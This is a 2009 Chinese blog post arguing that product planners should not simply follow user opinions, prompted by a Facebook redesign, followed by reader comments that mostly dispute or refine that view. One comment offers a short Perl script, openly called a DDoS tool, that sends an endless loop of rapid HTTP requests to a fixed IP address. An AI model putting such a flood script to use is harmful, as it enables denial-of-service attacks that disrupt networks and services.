青青子衿, 悠悠我心, 但为君故, 沉吟至今
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Facebook——听从用户的意见很愚蠢

  Facebook最近的改版,尤其是类似Twitter实时更新用户状态的功能,受到了大量用户的抵制与反对,Facebook CEO马克.扎克博格(Mark Zuckerberg)在写给员工的邮件中,针对新版面的批评意见表示:“大多数颠覆性公司不会被用户的意见所左右。”此外,他还暗讽那些“听从用户意见的公司很愚蠢”。

  从这里引出一个值得我们讨论的问题,产品的规划师到底该不该听从“用户的意见”。

  对于传统的软件产业来说,这个问题根本不算是个问题,传统的软件开发具有明确和规范的项目管理和产品开发的流程体系,从需求、规划到研发都有相应的管理流程,在需求阶段,需求规划师会搜集各类用户的需求,对于所有的需求进行一个全面评估,有些需求是合理的,有些需求就未必,用户的需求是否被采用,决定权不是用户,而是需求规划师。

  用户的意见到底该不该听呢?从知识结构和业务水平上讲,用户仅仅是业余水准,和专业的规划师水平有天壤之别,用户的意见可以用来做参考,但规划设计却不应该一味听从用户的意见,那样必将对产品的设计造成“硬伤”,使得整个产品无法上升到一个新的高度。规划师应该站在一个全局的高度,从根本上把握用户的真正需求,基于对顾客和市场的分析,设计出一个最初的产品原型,引导用户向更高层次发展,同时充分考虑产品在市场上的价格性能比和商业受欢迎程度,进一步完善产品的设计。

  之后,就进入项目计划制定阶段,在进行产品预研和立项之前应该做好充分的调研工作,分析目标市场和各种资源条件,确定自己是否能够达到目标。产品经理会在产品立项之初,对产品的范围进行定义。将整体需求分配到各个研发项目组上。产品研发一旦开始以后,就应该避免各种需求变更了。这时候如果再变更需求,则会对研发产生种种麻烦。

  对于Facebook这种大型产品来说,如果严格采用传统的软件开发模式,则产品对于用户新需求的响应速度会非常慢,这并不是一个好的互联网开发模式,产品设计和规划应该更为灵活,并对用户的反馈快速反应。但是站在产品规划设计的角度来看,规划设计师的确也不应该一味听从用户意见,这样会被用户牵着鼻子走,变成外行领导内行。用户的思维方式往往是从自身利益出发,缺乏大局观,没有全面的从战略角度考虑问题的意识,规划设计师正好可以高屋建瓴,从用户的反馈中挖掘深层次的需求,更全面的进行规划设计,毕竟,设计师比用户更理解这个产品的内涵。

  因此,Facebook的CEO说的不错,产品规划设计不应该听从用户的意见,那些听从用户意见的公司是愚蠢,产品设计师不应该妄自菲薄,将自己的层次降低到用户那样的业余水准,而应该引导用户逐步习惯新的专业水准设计规划。设计师对待用户的意见应该是分析、提炼、挖掘和改造,而不是一味听从。



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  本文地址:http://www.williamlong.info/archives/1743.html
  • 文章排行:
  • 1.BinZ
  • 这样的话题很容易被人误解。但是,如果仔细研究过这几年诺基亚、飞利浦这些等其他行业的领头羊兼创新者的发展文章,就会发现他们在用户体验方面的发展模式更加有效。月光这篇文章的观点并没有错误。
  • 2009/3/25 21:45:33   支持(9)反对(4) 回复
  • 2.moving
  • 百度贴吧昨天改版今天又匆匆回滚到旧版的闹剧已经说明一切:不考虑用户体验的产品注定会走向失败!
  • 2009/3/27 21:20:20   支持(8)反对(3) 回复
  • 3.Zack
  • 明白你的意思, 只是

    "产品规划设计不应该听从用户的意见,那些听从用户意见的公司是愚蠢"

    這句話用詞不太準確, 加一個字可能會好一點:

    产品规划设计不应该"只"听从用户的意见,那些"只"听从用户意见的公司是愚蠢的
  • 2009/4/2 0:56:36   支持(14)反对(9) 回复
  • 4.歪歪屋啊
  • 只能是说多少采用,不能完全听从
  • 2009/3/25 23:39:05   支持(11)反对(7) 回复
  • 5.OPhone
  • 听从用户的意见很愚蠢 这话说的 ?
    不过也是很有道理的 。。
  • 2009/3/27 16:07:54   支持(8)反对(4) 回复
  • 7.jamin
  • 我以前觉得月光还挺专业的博客,看到这篇文章的轮调我彻底失望。月光的轮调是那种纯工程师的论调,可惜的是能赚钱的模式都从来是以顾客至上的
  • 2009/3/25 11:32:02   支持(8)反对(5) 回复
  • 8.fantizi5201718
  • Facebook自己很少用!Facebook在外国应该相当流行吧!
  • 2009/3/25 13:10:36   支持(14)反对(11) 回复
  • 9.Apache
  • 由于XXX使用干扰DNS解析、断开(非重置)所有到YouTube链接的方式来屏蔽YouTube,故更新到新版DDOS XXX的Perl脚本,欢迎使用!

    #!/usr/bin/perl

    use LWP::UserAgent;

    while(TRUE){
    my $ua=LWP::UserAgent->new();
    $ua->timeout(0.005);
    my $url = 'http://208.117.236.74/';
    my $request=HTTP::Request->new(GET=>$url);
    my $response=$ua->request($request);
    if($response->is_success) {
    print "OK!";
    break;
    }
    }
  • 2009/3/25 17:29:08   支持(7)反对(4) 回复
  • 10.静观人生
  • 留言的不少是盲目跟风毫无主见的人,月光的这篇文章我实在不敢恭维。
    今天看了马化腾的访谈,他整片文章的核心就是用户体验第一。腾讯为什么能够成为中国互联网的老大,大家开骂之余还是静下心来好好琢磨琢磨吧
  • 2009/3/26 11:26:33   支持(7)反对(4) 回复
  • 11.仲和
  • 这不是技术问题,这是实际上客户说了算的问题。
    客户的直观感受是最应该考虑的。

    马可只是小孩子,还嫩呢。这种没有说服力的理由最可笑。活该!被收购算啦!
  • 2009/3/26 23:44:14   支持(10)反对(7) 回复
  • 12.tomcat
  • 还是要看行业的,比如说波音要卖50架787给xxx,能不听取xxx的建议和偏好吗
  • 2009/3/25 12:23:44   支持(9)反对(7) 回复
  • 13.williamlong
  • 楼上你连公司的对外公关和产品研发实际策略都不懂,还跑到这里来瞎搅和什么啊。
  • 2009/3/26 13:02:51   支持(9)反对(7) 回复
  • 14.行云流水泵
  • 对于用户的需求,应该分析、归纳,剔除与产品定位相违背的,盲目听众用户的意见,的确很愚蠢。
  • 2009/3/27 15:02:19   支持(11)反对(9) 回复
  • 16.onelove
  • 认为“用户是业余水平?”这个明显错了。你的用户,总的上网时间可能比你规划师还多,他们知道的域名比你知道的还多。 只用户不会从你的利益出发去思考产品。
  • 2009/8/5 14:52:20   支持(10)反对(8) 回复
  • 18.蓝天博客
  • 非常同意。用户的需求一般比较低端,而且多样化。
  • 2009/3/25 9:12:18   支持(7)反对(6) 回复
  • 20.zwwooooo
  • 不能‘一味’也不能‘不屑’
  • 2009/3/25 10:12:55   支持(6)反对(6) 回复
  • 21.asj
  • 听取客户的需求,而不是他的解决方案。
    也许业务的客户会提出一个技术上很愚蠢的方案,但是它的背后必然有一个很合理的需求。
    就像一本书中所说:100年前,要快速安全的从美国东海岸去西海岸,我会乘马车,并随身带上猎枪;现在,为了同样的目的,我会坐飞机,并且把枪留在家里。需求很少变化,但是解决方式会随着技术发展随身改变。
  • 2009/3/25 10:36:27   支持(8)反对(8) 回复
  • 22.Lightson
  • 我觉得这倒是未必
    用户提出来的很多要求可能很幼稚
    也确实需要一个“教育用户”的过程
    但是,
    再幼稚的需求,可能背后也隐含了有价值的东西
    如果产品设计师脑海里有“不需要用户的意见”这么一条
    那就麻烦了
    就吸取不到来自用户的反哺的营养了
  • 2009/3/25 10:52:22   支持(8)反对(8) 回复
  • 23.Lightson
  • 从知识结果和业务水平上讲,用户仅仅是业余水准,和专业的规划师水平有天壤之别,
    ===============
    这个出发点恐怕值得商榷
    用户的水平的确不高
    但他/她是用户,
    水平不高的用户是大多数

    规划师的水平很高,但最多只能代表高端用户
    来自高端用户的改进意见往往是很小众的

    简单的说,这个样本对于总体的代表性可能很差
    所以,单靠规划师队伍就能搞好一个产品?值得怀疑。
    远的不说,个人觉得微软这个阶段推出的Vista和IE8就很差劲
    可能与此有关
  • 2009/3/25 10:56:53   支持(6)反对(6) 回复
  • 25.仲和
  • 这孩子压根就是展现什么叫悖论。哈哈

    ls说得符合我心意。

    顾客的意见反映顾客的需求。你自己愚蠢自以为是的寻找顾客需求,放弃别人送来的“顾客需求”
  • 2009/3/27 6:08:35   支持(6)反对(6) 回复
  • 26.自来水
  • 什么是用户需求?假如月光每天有50000个用户访问,突然有一天有个用户说界面不够好看,月光就得改版吗?49999位用户可能都不会愿意的。
    用户需求是满足大部分用户的需求,而不是满足小部分用户的需求,小部分用户不满意宁可他们离开。
  • 2009/3/28 20:44:37   支持(6)反对(6) 回复
  • 27.潇洒
  • 重点应该在于这句话……“用户需求往往出于自身利益”。
    而产品规划是需要考虑大局及产品本身的定位的,更甚者还要考虑到后期的开发成本等等…… 所以之所以叫产品规划,不是说完全不理用户需求。而是分析用户需求,然后视情况来规划如何处理这些问题.
  • 2009/4/2 13:31:20   支持(7)反对(7) 回复
  • 28.searcheyes
  • 为什么我用360的浏览器不能点击发表评论,有点奇怪。
  • 2009/3/25 21:27:22   支持(10)反对(11) 回复
  • 30.哈哈
  • 话语前后矛盾,既然说:“听从用户的需求很愚蠢”,那你干嘛还要让规划师找出:“用户的需求”、
    用户说出自己的需求,规划师找出用户的需求,没有矛盾。但是,却不听从用户的需求,就是不准备满足用户的需求,那规划师找出用户的需求干什么?这种状况,博主还说英明?多此一举,自作明聪
  • 2009/3/27 3:33:20   支持(6)反对(7) 回复
  • 31.沥水倾杉
  • 说得很对,不能一味的遵从
  • 2009/3/28 23:07:07   支持(8)反对(9) 回复
  • 32.楚少天
  • 承认确实如此,不过,不得罪用户就得得罪员工,不得罪员工就得得罪用户的话,那这公司也是有毛病。
  • 2009/3/30 14:05:11   支持(9)反对(10) 回复
  • 34.gxfeng
  • 非常同意作者的观点。我们公司不少的同事,在处理用户需求时,往往会不由自主的趋向一味满足而缺乏思考。
  • 2009/3/25 14:40:48   支持(5)反对(7) 回复
  • 35.Yimi
  • 月光说得貌似有些道理,但是不管设计什么产品,用户体验是非常重要的,如果用户使用起来很不爽,再好的产品有什么用呢?
  • 2009/3/25 22:35:33   支持(7)反对(9) 回复
  • 36.嬉爱轩
  • 用户的意见也要看正反两面!
  • 2009/3/27 23:47:33   支持(7)反对(9) 回复
  • 37.zikay
  • 你说得很对。
    但我不得不说,Facebook在3月的改版确实令人非常地不习惯和难以忍受。
  • 2009/4/15 3:13:57   支持(5)反对(7) 回复
  • 38.大菏泽
  • 提供最有实质性的服务最重要!
  • 2009/3/25 8:26:17   支持(9)反对(12) 回复
  • 39.Victor
  • facebook上中国人很少,不到50万,基本都是留学生
  • 2009/3/25 13:00:03   支持(6)反对(9) 回复
  • 40.siem
  • 一个有能力、有远见的规划师或是设计师,在于他能够能引导潮流而不是随波逐流……
  • 2009/3/25 22:41:57   支持(6)反对(9) 回复
  • 42.yujian
  • 也不能说就是很愚蠢,就好像一把双刃剑
  • 2009/3/28 0:53:25   支持(5)反对(8) 回复
  • 43.Poshi
  • 用戶有時候是靠你引導,可是如果你被他們引導,雙方都會很慘
  • 2009/3/25 9:08:03   支持(6)反对(10) 回复
  • 45.乐者为王
  • hai关键还是意见是否合理吧
  • 2009/3/25 9:55:46   支持(6)反对(11) 回复
  • 46.漢文溪
  • 听从用户的意见应该是分析、提炼、挖掘和改造,而不是一味听从。
  • 2009/3/25 12:33:53   支持(9)反对(14) 回复
  • 47.藏铺
  • 倾听用户的意见,但并不采纳或不完全采纳用户的意见。
    以用户为中心,用产品或品牌理念引导用户,最终让用户主动地付出价值来换取产品或服务。
  • 2009/6/3 12:20:54   支持(3)反对(8) 回复
  • 48.白洋
  • 互联网的产品和别的产品不同,必须经常折腾,即使是瞎折腾,网民最喜欢的网站,就是更新最频繁的网站。
  • 2009/6/14 13:05:33   支持(6)反对(13) 回复

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